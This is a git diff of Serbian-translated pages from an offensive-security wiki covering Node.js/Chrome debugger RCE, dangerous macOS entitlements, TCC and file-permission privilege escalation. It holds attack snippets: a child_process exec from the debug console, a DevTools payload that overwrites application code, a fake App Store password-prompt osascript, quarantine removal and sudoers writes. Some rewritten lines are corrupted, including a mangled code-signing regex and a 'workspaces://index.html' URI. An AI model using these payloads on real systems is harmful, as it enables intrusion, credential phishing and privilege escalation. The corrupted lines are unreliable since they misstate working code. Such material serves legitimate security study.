Klijenti inspektora moraju znati i navesti adresu hosta, port i UUID da bi se povezali. Puna URL adresa će izgledati otprilike kao `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
> [!WARNING]
> Pošto **debugger ima pun pristup Node.js okruženju izvršavanja**, zlonamerna osoba koja može da se poveže na ovaj port može biti u mogućnosti da izvrši proizvoljan kod u ime Node.js procesa (**potencijalna eskalacija privilegija**).
@ -27,28 +27,28 @@ Kada pokrenete inspekcijski proces, nešto poput ovoga će se pojaviti:
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
```
Procesi zasnovani na **CEF** (**Chromium Embedded Framework**) moraju koristiti parametar: `--remote-debugging-port=9222` da bi otvorili **debugger** (zaštite od SSRF ostaju vrlo slične). Međutim, oni **umesto** davanja **NodeJS** **debug** sesije će komunicirati sa pregledačem koristeći [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), ovo je interfejs za kontrolu pregledača, ali ne postoji direktan RCE.
Procesi zasnovani na **CEF** (**Chromium Embedded Framework**) moraju koristiti parametar: `--remote-debugging-port=9222` da bi otvorili **debugger** (zaštite od SSRF ostaju vrlo slične). Međutim, oni **umesto** da dodele **NodeJS** **debug** sesiju, komuniciraće sa pregledačem koristeći [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), ovo je interfejs za kontrolu pregledača, ali ne postoji direktan RCE.
Kada pokrenete debagovani pregledač, nešto poput ovoga će se pojaviti:
```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
```
### Browsers, WebSockets i politika iste domene <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
Web sajtovi otvoreni u web-pretraživaču mogu da prave WebSocket i HTTP zahteve pod modelom bezbednosti pretraživača. **Početna HTTP veza** je neophodna da bi se **dobio jedinstveni ID sesije debagera**. **Politika iste domene** **sprečava** web sajtove da mogu da naprave **ovu HTTP vezu**. Za dodatnu bezbednost protiv [**DNS rebinding napada**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js proverava da li **'Host' zaglavlja** za vezu ili specificiraju **IP adresu** ili **`localhost`** ili **`localhost6`** tačno.
Veb sajtovi otvoreni u veb pretraživaču mogu da prave WebSocket i HTTP zahteve pod modelom bezbednosti pretraživača. **Inicijalna HTTP veza** je neophodna da bi se **dobio jedinstveni id sesije debagera**. **Politika iste domene** **sprečava** veb sajtove da prave **ovu HTTP vezu**. Za dodatnu bezbednost protiv [**DNS rebinding napada**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js proverava da li **'Host' zaglavlja** za vezu ili specificiraju **IP adresu** ili **`localhost`** ili **`localhost6`** tačno.
> [!NOTE]
> Ove **bezbednosne mere sprečavaju iskorišćavanje inspektora** za pokretanje koda **samo slanjem HTTP zahteva** (što bi moglo biti učinjeno iskorišćavanjem SSRF ranjivosti).
### Pokretanje inspektora u aktivnim procesima
### Starting inspector in running processes
Možete poslati **signal SIGUSR1** aktivnom nodejs procesu da bi **pokrenuo inspektora** na podrazumevanom portu. Međutim, imajte na umu da morate imati dovoljno privilegija, tako da ovo može omogućiti **privilegovan pristup informacijama unutar procesa** ali ne i direktnu eskalaciju privilegija.
Možete poslati **signal SIGUSR1** pokrenutom nodejs procesu da bi **pokrenuo inspektora** na podrazumevanoj portu. Međutim, imajte na umu da morate imati dovoljno privilegija, tako da ovo može omogućiti **privilegovan pristup informacijama unutar procesa** ali ne i direktnu eskalaciju privilegija.
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
```
> [!NOTE]
> Ovo je korisno u kontejnerima jer **gašenje procesa i pokretanje novog** sa `--inspect` **nije opcija** jer će **kontejner** biti **ubijen** zajedno sa procesom.
> Ovo je korisno u kontejnerima jer **gašenje procesa i pokretanje novog** sa `--inspect` nije **opcija** jer će **kontejner** biti **ubijen** zajedno sa procesom.
### Povezivanje sa inspektorom/debuggerom
@ -63,7 +63,7 @@ node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
```
Alat [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) omogućava **pronalaženje inspektora** koji se izvode lokalno i **ubacivanje koda** u njih.
Alat [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) omogućava **pronalazak inspektora** koji se izvode lokalno i **ubacivanje koda** u njih.
```bash
#List possible vulnerable sockets
./cefdebug.exe
@ -78,7 +78,7 @@ Alat [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug
## RCE u NodeJS Debuggeru/Inspektoru
> [!NOTE]
> Ako ste došli ovde tražeći kako da dobijete [**RCE iz XSS u Electron, molimo vas da proverite ovu stranicu.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
> Ako ste došli ovde tražeći kako da dobijete [**RCE iz XSS u Electron, molimo proverite ovu stranicu.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
Neki uobičajeni načini za dobijanje **RCE** kada možete **povezati** sa Node **inspektorom** su korišćenje nečega poput (izgleda da ovo **neće raditi u vezi sa Chrome DevTools protokolom**):
```javascript
@ -90,11 +90,11 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
## Chrome DevTools Protocol Payloads
Možete proveriti API ovde: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
U ovom odeljku ću samo navesti zanimljive stvari za koje sam primetio da su ljudi koristili za eksploataciju ovog protokola.
U ovom odeljku ću samo navesti zanimljive stvari za koje smatram da su ljudi koristili za eksploataciju ovog protokola.
### Parameter Injection via Deep Links
U [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security je otkrio da je aplikacija zasnovana na CEF **registrovala prilagođeni UR**I u sistemu (workspaces://) koji je primao puni URI i zatim **pokretao CEF zasnovanu aplikaciju** sa konfiguracijom koja je delimično konstruisana iz tog URI-ja.
U [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security je otkrio da je aplikacija zasnovana na CEF **registrovala prilagođeni UR**I u sistemu (workspaces://index.html) koji je primao puni URI i zatim **pokretao CEF zasnovanu aplikaciju** sa konfiguracijom koja je delimično konstruisana iz tog URI-ja.
Otkriveno je da su URI parametri bili URL dekodirani i korišćeni za pokretanje CEF osnovne aplikacije, omogućavajući korisniku da **ubaci** flag **`--gpu-launcher`** u **komandnu liniju** i izvrši proizvoljne stvari.
@ -106,7 +106,7 @@ Izvršiće calc.exe.
### Prepisivanje Fajlova
Promeni fasciklu u kojoj će **preuzeti fajlovi biti sačuvani** i preuzmi fajl da **prepišeš** često korišćeni **izvorni kod** aplikacije svojim **zloćudnim kodom**.
Promenite fasciklu u kojoj će **preuzeti fajlovi biti sačuvani** i preuzmite fajl da **prepišete** često korišćeni **izvorni kod** aplikacije sa vašim **malicioznim kodom**.
```javascript
ws = new WebSocket(url) //URL of the chrome devtools service
ws.send(
@ -122,13 +122,13 @@ downloadPath: "/code/",
```
### Webdriver RCE i eksfiltracija
Prema ovom postu: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) moguće je dobiti RCE i eksfiltrirati interne stranice iz therivera.
Prema ovom postu: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) moguće je dobiti RCE i eksfiltrirati interne stranice iz theriver.
### Post-eksploatacija
U pravom okruženju i **nakon kompromitovanja** korisničkog računara koji koristi Chrome/Chromium baziran pretraživač, mogli biste pokrenuti Chrome proces sa **aktiviranim debagovanjem i preusmeriti debag port** kako biste mu pristupili. Na ovaj način ćete moći da **inspektujete sve što žrtva radi sa Chrome-om i ukradete osetljive informacije**.
Prikradanje se postiže tako što se **okida svaki Chrome proces** i zatim poziva nešto poput
Tajni način je da **prekinete svaki Chrome proces** i zatim pozovete nešto poput
```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
```

View File

@ -36,7 +36,7 @@ mac-os-architecture/
macos-protocols.md
{{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- **Otvoreni izvor** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- Da preuzmete `tar.gz`, promenite URL kao što je [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) u [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
@ -93,9 +93,9 @@ U macOS-u **aplikacije i binarni fajlovi mogu imati dozvole** za pristup folderi
Stoga, napadač koji želi uspešno da kompromituje macOS mašinu moraće da **eskalira svoje TCC privilegije** (ili čak **obiđe SIP**, u zavisnosti od njegovih potreba).
Ove privilegije se obično daju u obliku **entiteta** sa kojima je aplikacija potpisana, ili aplikacija može zatražiti neke pristupe i nakon što **korisnik odobri** može ih naći u **TCC bazama podataka**. Drugi način na koji proces može dobiti ove privilegije je da bude **dete procesa** sa tim **privilegijama**, jer se obično **nasleđuju**.
Ove privilegije se obično daju u obliku **entiteta** sa kojima je aplikacija potpisana, ili aplikacija može zatražiti neke pristupe i nakon što **korisnik odobri** može ih pronaći u **TCC bazama podataka**. Drugi način na koji proces može dobiti ove privilegije je da bude **dete procesa** sa tim **privilegijama**, jer se obično **nasleđuju**.
Pratite ove linkove da pronađete različite načine za [**eskalaciju privilegija u TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), da [**obiđete TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i kako je u prošlosti [**SIP bio oboren**](macos-security-protections/macos-sip.md#sip-bypasses).
Pratite ove linkove da pronađete različite načine za [**eskalaciju privilegija u TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), da [**obiđete TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) i kako je u prošlosti [**SIP bio oboren**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Tradicionalna Eskalacija Privilegija

View File

@ -1,64 +1,64 @@
# macOS Opasne Dozvole & TCC dozvole
# macOS Dangerous Entitlements & TCC perms
{{#include ../../../banners/hacktricks-training.md}}
> [!WARNING]
> Imajte na umu da dozvole koje počinju sa **`com.apple`** nisu dostupne trećim stranama, samo Apple ih može dodeliti.
> Imajte na umu da entitlements koji počinju sa **`com.apple`** nisu dostupni trećim stranama, samo Apple može da ih dodeli.
## Visoko
## High
### `com.apple.rootless.install.heritable`
Dozvola **`com.apple.rootless.install.heritable`** omogućava **obići SIP**. Proverite [ovo za više informacija](macos-sip.md#com.apple.rootless.install.heritable).
Entitlement **`com.apple.rootless.install.heritable`** omogućava **obiđite SIP**. Proverite [ovo za više informacija](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`**
Dozvola **`com.apple.rootless.install`** omogućava **obići SIP**. Proverite [ovo za više informacija](macos-sip.md#com.apple.rootless.install).
Entitlement **`com.apple.rootless.install`** omogućava **obiđite SIP**. Proverite [ovo za više informacija](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports` (ranije nazvana `task_for_pid-allow`)**
### **`com.apple.system-task-ports` (ranije nazvan `task_for_pid-allow`)**
Ova dozvola omogućava dobijanje **task porta za bilo koji** proces, osim jezgra. Proverite [**ovo za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
Ovaj entitlement omogućava dobijanje **task porta za bilo koji** proces, osim za kernel. Proverite [**ovo za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
### `com.apple.security.get-task-allow`
Ova dozvola omogućava drugim procesima sa dozvolom **`com.apple.security.cs.debugger`** da dobiju task port procesa koji pokreće binarni fajl sa ovom dozvolom i **ubace kod u njega**. Proverite [**ovo za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
Ovaj entitlement omogućava drugim procesima sa **`com.apple.security.cs.debugger`** entitlementom da dobiju task port procesa koji pokreće binarni fajl sa ovim entitlementom i **ubace kod u njega**. Proverite [**ovo za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
### `com.apple.security.cs.debugger`
Aplikacije sa dozvolom za alat za debagovanje mogu pozvati `task_for_pid()` da dobiju važeći task port za nesignirane i treće strane aplikacije sa dozvolom `Get Task Allow` postavljenom na `true`. Međutim, čak i sa dozvolom za alat za debagovanje, debager **ne može dobiti task portove** procesa koji **nemaju dozvolu `Get Task Allow`**, i koji su stoga zaštićeni Sistemskom Integritetom. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
Aplikacije sa Entitlementom za Alate za Debagovanje mogu pozvati `task_for_pid()` da dobiju važeći task port za nesignirane i treće strane aplikacije sa `Get Task Allow` entitlementom postavljenim na `true`. Međutim, čak i sa entitlementom za alat za debagovanje, debager **ne može dobiti task portove** procesa koji **nemaju `Get Task Allow` entitlement**, i koji su stoga zaštićeni Sistemskom Integritetom. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
### `com.apple.security.cs.disable-library-validation`
Ova dozvola omogućava **učitavanje okvira, dodataka ili biblioteka bez da budu potpisani od strane Apple-a ili potpisani sa istim Team ID** kao glavni izvršni fajl, tako da bi napadač mogao zloupotrebiti učitavanje neke proizvoljne biblioteke da ubaci kod. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
Ovaj entitlement omogućava **učitavanje frameworka, plug-inova ili biblioteka bez da budu potpisani od strane Apple-a ili potpisani sa istim Team ID** kao glavni izvršni fajl, tako da bi napadač mogao da zloupotrebi učitavanje neke proizvoljne biblioteke da ubaci kod. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
Ova dozvola je vrlo slična **`com.apple.security.cs.disable-library-validation`** ali **umesto** da **direktno onemogući** validaciju biblioteka, omogućava procesu da **pozove `csops` sistemski poziv da je onemogući**.\
Ovaj entitlement je vrlo sličan **`com.apple.security.cs.disable-library-validation`** ali **umesto** da **direktno onemogući** validaciju biblioteka, omogućava procesu da **pozove `csops` sistemski poziv da ga onemogući**.\
Proverite [**ovo za više informacija**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
Ova dozvola omogućava **korišćenje DYLD promenljivih okruženja** koje bi mogle biti korišćene za ubacivanje biblioteka i koda. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
Ovaj entitlement omogućava **korišćenje DYLD promenljivih okruženja** koje bi mogle biti korišćene za ubacivanje biblioteka i koda. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` ili `com.apple.rootless.storage`.`TCC`
[**Prema ovom blogu**](https://objective-see.org/blog/blog_0x4C.html) **i** [**ovom blogu**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), ove dozvole omogućavaju **modifikaciju** **TCC** baze podataka.
[**Prema ovom blogu**](https://objective-see.org/blog/blog_0x4C.html) **i** [**ovom blogu**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), ovi entitlements omogućavaju **modifikaciju** **TCC** baze podataka.
### **`system.install.apple-software`** i **`system.install.apple-software.standar-user`**
Ove dozvole omogućavaju **instalaciju softvera bez traženja dozvola** od korisnika, što može biti korisno za **povećanje privilegija**.
Ovi entitlements omogućavaju **instalaciju softvera bez traženja dozvola** od korisnika, što može biti korisno za **povećanje privilegija**.
### `com.apple.private.security.kext-management`
Dozvola potrebna za traženje od **jezgra da učita kernel ekstenziju**.
Entitlement potreban za traženje od **kernela da učita kernel ekstenziju**.
### **`com.apple.private.icloud-account-access`**
Dozvola **`com.apple.private.icloud-account-access`** omogućava komunikaciju sa **`com.apple.iCloudHelper`** XPC servisom koji će **obezbediti iCloud tokene**.
Entitlement **`com.apple.private.icloud-account-access`** omogućava komunikaciju sa **`com.apple.iCloudHelper`** XPC servisom koji će **obezbediti iCloud tokene**.
**iMovie** i **Garageband** su imale ovu dozvolu.
**iMovie** i **Garageband** su imali ovaj entitlement.
Za više **informacija** o eksploatu za **dobijanje iCloud tokena** iz te dozvole proverite predavanje: [**#OBTS v5.0: "Šta se dešava na vašem Mac-u, ostaje na Apple-ovom iCloud-u?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Za više **informacija** o eksploatu za **dobijanje iCloud tokena** iz tog entitlementa proverite predavanje: [**#OBTS v5.0: "Šta se dešava na vašem Mac-u, ostaje na Apple-ovom iCloud-u?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -74,7 +74,7 @@ TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OT
### `keychain-access-groups`
Ova dozvola lista **keychain** grupe kojima aplikacija ima pristup:
Ovaj entitlement lista **keychain** grupa kojima aplikacija ima pristup:
```xml
<key>keychain-access-groups</key>
<array>
@ -93,7 +93,7 @@ Daje **Full Disk Access** dozvole, jednu od najviših TCC dozvola koje možete i
Omogućava aplikaciji da šalje događaje drugim aplikacijama koje se obično koriste za **automatsko izvršavanje zadataka**. Kontrolisanjem drugih aplikacija, može zloupotrebiti dozvole koje su dodeljene tim drugim aplikacijama.
Kao što je navođenje korisnika da zatraži njegovu lozinku:
Kao što je da ih natera da traže od korisnika njegovu lozinku:
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
@ -105,7 +105,7 @@ Omogućava, između ostalog, da **piše u TCC bazu podataka korisnika**.
### **`kTCCServiceSystemPolicySysAdminFiles`**
Omogućava da **promeni** **`NFSHomeDirectory`** atribut korisnika koji menja putanju svog domaćeg foldera i tako omogućava da se **obiđe TCC**.
Omogućava da **promeni** **`NFSHomeDirectory`** atribut korisnika koji menja putanju svog domaćeg foldera i tako omogućava da **obiđe TCC**.
### **`kTCCServiceSystemPolicyAppBundles`**
@ -117,7 +117,7 @@ Moguće je proveriti ko ima ovaj pristup u _System Settings_ > _Privacy & Securi
### `kTCCServiceAccessibility`
Proces će moći da **zloupotrebi macOS funkcije pristupa**, što znači da će, na primer, moći da pritisne tastere. Tako bi mogao da zatraži pristup za kontrolu aplikacije kao što je Finder i odobri dijalog sa ovom dozvolom.
Proces će moći da **zloupotrebi macOS funkcije pristupa**, što znači da će, na primer, moći da pritisne tastere. Tako bi mogao zatražiti pristup za kontrolu aplikacije kao što je Finder i odobriti dijalog sa ovom dozvolom.
## Medium
@ -127,10 +127,10 @@ Ova dozvola omogućava da se **kreira memorija koja je zapisiva i izvršna** pro
### `com.apple.security.cs.allow-unsigned-executable-memory`
Ova dozvola omogućava da se **prepiše ili zakrpi C kod**, koristi dugo zastareli **`NSCreateObjectFileImageFromMemory`** (koji je fundamentalno nesiguran), ili koristi **DVDPlayback** okvir. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
Ova dozvola omogućava da se **prepiše ili zakrpi C kod**, koristi dugo ukinutu **`NSCreateObjectFileImageFromMemory`** (koja je fundamentalno nesigurna), ili koristi **DVDPlayback** okvir. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
> [!CAUTION]
> Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u jezicima koda koji nisu sigurni za memoriju. Pažljivo razmotrite da li vaša aplikacija treba ovu izuzetak.
> Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u jezicima koda koji nisu sigurni u memoriji. Pažljivo razmotrite da li vaša aplikacija treba ovu izuzetak.
### `com.apple.security.cs.disable-executable-page-protection`
@ -145,7 +145,7 @@ TODO
### `com.apple.private.nullfs_allow`
Ova dozvola omogućava montiranje nullfs fajl sistema (zabranjeno podrazumevano). Alat: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
Ova dozvola omogućava montiranje nullfs fajlskog sistema (zabranjeno podrazumevano). Alat: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
### `kTCCServiceAll`
@ -161,3 +161,5 @@ Dozvolite procesu da **zatraži sve TCC dozvole**.
### **`kTCCServicePostEvent`**
{{#include ../../../banners/hacktricks-training.md}}
</details>

View File

@ -8,9 +8,9 @@ Dozvole u **direktorijumu**:
- **čitanje** - možete **nabrojati** unose u direktorijumu
- **pisanje** - možete **brisati/pisati** **fajlove** u direktorijumu i možete **brisati prazne foldere**.
- Ali ne možete **brisati/modifikovati neprazne foldere** osim ako imate dozvolu za pisanje nad njima.
- Ali ne možete **brisati/modifikovati neprazne foldere** osim ako nemate dozvolu za pisanje nad njima.
- Ne možete **modifikovati ime foldera** osim ako ga posedujete.
- **izvršavanje** - **dozvoljeno vam je da prolazite** kroz direktorijum - ako nemate ovo pravo, ne možete pristupiti nijednom fajlu unutar njega, niti u bilo kojim poddirektorijumima.
- **izvršavanje** - imate **dozvolu da prolazite** kroz direktorijum - ako nemate ovo pravo, ne možete pristupiti nijednom fajlu unutar njega, niti u bilo kojim poddirektorijumima.
### Opasne kombinacije
@ -18,27 +18,27 @@ Dozvole u **direktorijumu**:
- Jedan roditeljski **vlasnik direktorijuma** u putanji je korisnik
- Jedan roditeljski **vlasnik direktorijuma** u putanji je **grupa korisnika** sa **pristupom za pisanje**
- Grupa korisnika ima **pristup za pisanje** do **fajla**
- Grupa korisnika ima **pristup za pisanje** na **fajl**
Sa bilo kojom od prethodnih kombinacija, napadač bi mogao **ubaciti** **sim/link** na očekivanu putanju da bi dobio privilegovano arbitrano pisanje.
Sa bilo kojom od prethodnih kombinacija, napadač bi mogao **ubaciti** **simboličku/čvrstu vezu** na očekivanu putanju da bi dobio privilegovano proizvoljno pisanje.
### Folder root R+X Poseban slučaj
Ako postoje fajlovi u **direktorijumu** gde **samo root ima R+X pristup**, ti fajlovi su **nedostupni bilo kome drugom**. Tako da ranjivost koja omogućava **premestiti fajl koji je čitljiv od strane korisnika**, a koji ne može biti pročitan zbog te **restrikcije**, iz ovog foldera **u drugi**, može se zloupotrebiti da bi se pročitali ti fajlovi.
Ako postoje fajlovi u **direktorijumu** gde **samo root ima R+X pristup**, ti fajlovi su **nedostupni bilo kome drugom**. Tako da ranjivost koja omogućava **premestiti fajl koji je čitljiv od strane korisnika**, koji ne može biti pročitan zbog te **restrikcije**, iz ovog foldera **u drugi**, može se iskoristiti da se pročitaju ti fajlovi.
Primer u: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
## Simbolički link / Hard link
## Simbolička veza / Čvrsta veza
### Dozvoljen fajl/folder
Ako privilegovani proces piše podatke u **fajl** koji bi mogao biti **kontrolisan** od strane **korisnika sa nižim privilegijama**, ili koji bi mogao biti **prethodno kreiran** od strane korisnika sa nižim privilegijama. Korisnik bi mogao samo **usmeriti na drugi fajl** putem simboličkog ili hard linka, i privilegovani proces će pisati na taj fajl.
Ako privilegovani proces piše podatke u **fajl** koji bi mogao biti **kontrolisan** od strane **korisnika sa nižim privilegijama**, ili koji bi mogao biti **prethodno kreiran** od strane korisnika sa nižim privilegijama. Korisnik bi mogao samo **usmeriti na drugi fajl** putem simboličke ili čvrste veze, i privilegovani proces će pisati na taj fajl.
Proverite u drugim sekcijama gde bi napadač mogao **zloupotrebiti arbitrano pisanje da bi eskalirao privilegije**.
Proverite u drugim sekcijama gde bi napadač mogao **iskoristiti proizvoljno pisanje za eskalaciju privilegija**.
### Otvoriti `O_NOFOLLOW`
### Otvoreno `O_NOFOLLOW`
Zastavica `O_NOFOLLOW` kada se koristi u funkciji `open` neće pratiti simbolički link u poslednjem komponentu putanje, ali će pratiti ostatak putanje. Ispravan način da se spreči praćenje simboličkih linkova u putanji je korišćenje zastavice `O_NOFOLLOW_ANY`.
Zastavica `O_NOFOLLOW` kada se koristi u funkciji `open` neće pratiti simboličku vezu u poslednjem komponentu putanje, ali će pratiti ostatak putanje. Ispravan način da se spreči praćenje simboličkih veza u putanji je korišćenje zastavice `O_NOFOLLOW_ANY`.
## .fileloc
@ -58,23 +58,23 @@ Primer:
```
## File Descriptors
### Leak FD (bez `O_CLOEXEC`)
### Leak FD (no `O_CLOEXEC`)
Ako poziv `open` nema flag `O_CLOEXEC`, deskriptor datoteke će biti nasledđen od strane child procesa. Dakle, ako privilegovani proces otvori privilegovanu datoteku i izvrši proces koji kontroliše napadač, napadač će **naslediti FD nad privilegovanom datotekom**.
Ako poziv na `open` nema flag `O_CLOEXEC`, deskriptor datoteke će biti nasledđen od strane procesa deteta. Dakle, ako privilegovani proces otvori privilegovanu datoteku i izvrši proces koji kontroliše napadač, napadač će **naslediti FD nad privilegovanom datotekom**.
Ako možete da naterate **proces da otvori datoteku ili folder sa visokim privilegijama**, možete zloupotrebiti **`crontab`** da otvorite datoteku u `/etc/sudoers.d` sa **`EDITOR=exploit.py`**, tako da će `exploit.py` dobiti FD do datoteke unutar `/etc/sudoers` i zloupotrebiti je.
Na primer: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
## Izbegavajte trikove sa xattrs u karantinu
## Avoid quarantine xattrs tricks
### Uklonite to
### Remove it
```bash
xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable flag
Ako datoteka/folder ima ovu nepromenljivu atribut, neće biti moguće postaviti xattr na nju.
Ako fajl/folder ima ovu imutabilnu atribut, neće biti moguće postaviti xattr na njega.
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -86,7 +86,7 @@ ls -lO /tmp/asd
```
### defvfs mount
**devfs** mount **ne podržava xattr**, više informacija u [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
A **devfs** mount **ne podržava xattr**, više informacija u [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
```bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
@ -156,11 +156,11 @@ macos-xattr-acls-extra-stuff.md
### Obilaženje provere platformskih binarnih datoteka
Neke sigurnosne provere proveravaju da li je binarna datoteka **platformska binarna datoteka**, na primer, da bi se omogućilo povezivanje sa XPC servisom. Međutim, kao što je izloženo u obilaženju na https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, moguće je zaobići ovu proveru dobijanjem platformskog binarnog fajla (kao što je /bin/ls) i injektovanjem eksploita putem dyld koristeći env promenljivu `DYLD_INSERT_LIBRARIES`.
Neke sigurnosne provere proveravaju da li je binarna datoteka **platformska binarna datoteka**, na primer, da bi se omogućilo povezivanje sa XPC servisom. Međutim, kao što je izloženo u obilaženju na https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, moguće je obiti ovu proveru dobijanjem platformskog binarnog fajla (kao što je /bin/ls) i injektovanjem eksploata putem dyld koristeći env varijablu `DYLD_INSERT_LIBRARIES`.
### Obilaženje zastavica `CS_REQUIRE_LV` i `CS_FORCED_LV`
Moguće je da izvršna binarna datoteka izmeni svoje vlastite zastavice kako bi zaobišla provere sa kodom kao što je:
Moguće je da izvršna binarna datoteka izmeni svoje vlastite zastavice kako bi obilaženje provere sa kodom kao što je:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
@ -195,7 +195,7 @@ Međutim, postoje neke datoteke čija se potpisivanje neće proveravati, ove ima
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
@ -282,17 +282,17 @@ Samo generišite skriptu `/Applications/Scripts/privesc.sh` sa **komandama** koj
### Sudoers File
Ako imate **arbitrarno pisanje**, možete kreirati datoteku unutar foldera **`/etc/sudoers.d/`** dodeljujući sebi **sudo** privilegije.
Ako imate **arbitrary write**, možete kreirati datoteku unutar foldera **`/etc/sudoers.d/`** dodeljujući sebi **sudo** privilegije.
### PATH files
Datoteka **`/etc/paths`** je jedno od glavnih mesta koja popunjavaju PATH env varijablu. Morate biti root da biste je prepisali, ali ako skripta iz **privilegovanog procesa** izvršava neku **komandu bez punog puta**, možda ćete moći da je **preuzmete** modifikovanjem ove datoteke.
